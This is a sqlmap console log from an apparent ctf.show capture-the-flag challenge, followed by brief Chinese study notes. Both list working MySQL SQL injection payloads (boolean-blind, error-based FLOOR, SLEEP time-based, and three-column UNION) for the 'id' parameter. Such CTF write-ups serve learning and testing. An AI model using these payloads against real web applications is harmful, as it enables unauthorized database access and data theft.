[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:52:37 /2025-06-04/
[20:52:38] [INFO] testing connection to the target URL [20:52:38] [INFO] checking if the target is protected by some kind of WAF/IPS [20:52:38] [INFO] testing if the target URL content is stable [20:52:39] [INFO] target URL content is stable [20:52:39] [INFO] testing if GET parameter 'id' is dynamic [20:52:39] [INFO] GET parameter 'id' appears to be dynamic [20:52:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [20:52:39] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks [20:52:39] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [20:52:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:52:45] [WARNING] reflective value(s) found and filtering out [20:52:45] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your") [20:52:45] [INFO] testing 'Generic inline queries' [20:52:45] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [20:52:45] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [20:52:45] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [20:52:45] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [20:52:46] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [20:52:46] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [20:52:46] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [20:52:46] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [20:52:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [20:52:46] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [20:52:46] [INFO] testing 'MySQL inline queries' [20:52:46] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [20:52:46] [WARNING] time-based comparison requires larger statistical model, please wait..... (done) [20:52:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [20:52:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [20:52:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [20:52:47] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)' [20:52:47] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)' [20:52:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [20:52:58] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [20:52:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [20:52:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [20:52:58] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [20:52:58] [INFO] target URL appears to have 3 columns in query [20:52:59] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 4354=4354 AND 'STvH'='STvH
Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND (SELECT 1854 FROM(SELECT COUNT(*),CONCAT(0x71766a7671,(SELECT (ELT(1854=1854,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'ctuL'='ctuL
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 9178 FROM (SELECT(SLEEP(5)))Fzsc) AND 'LxaM'='LxaM
Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-3965' UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x594b69496263796e4a506e6f736b4351597a4359456c63447976706c5065786d6e52554d486e514d,0x717a7a6b71)-- - --- [20:53:01] [INFO] the back-end DBMS is MySQL web application technology: Nginx 1.20.1, PHP 5.6.40 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [20:53:01] [INFO] fetched data logged to text files under 'C:\Users\csdd\AppData\Local\sqlmap\output\5cb2987f-1428-4f5b-8265-537677d52fd0.challenge.ctf.show' [20:53:01] [WARNING] your sqlmap version is outdated
id=1' AND (SELECT 1854 FROM(SELECT COUNT(*),CONCAT(0x71766a7671,(SELECT (ELT(1854=1854,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'ctuL'='ctuL
✅ Time-based Blind 时间盲注
描述:通过延时判断真假
Payload:
1
id=1' AND (SELECT 9178 FROM (SELECT(SLEEP(5)))Fzsc) AND 'LxaM'='LxaM
✅ UNION Query 联合查询注入
描述:通过 UNION SELECT 合并结果
列数:3
Payload:
1
id=-3965' UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x594b69496263796e4a506e6f736b4351597a4359456c63447976706c5065786d6e52554d486e514d,0x717a7a6b71)-- -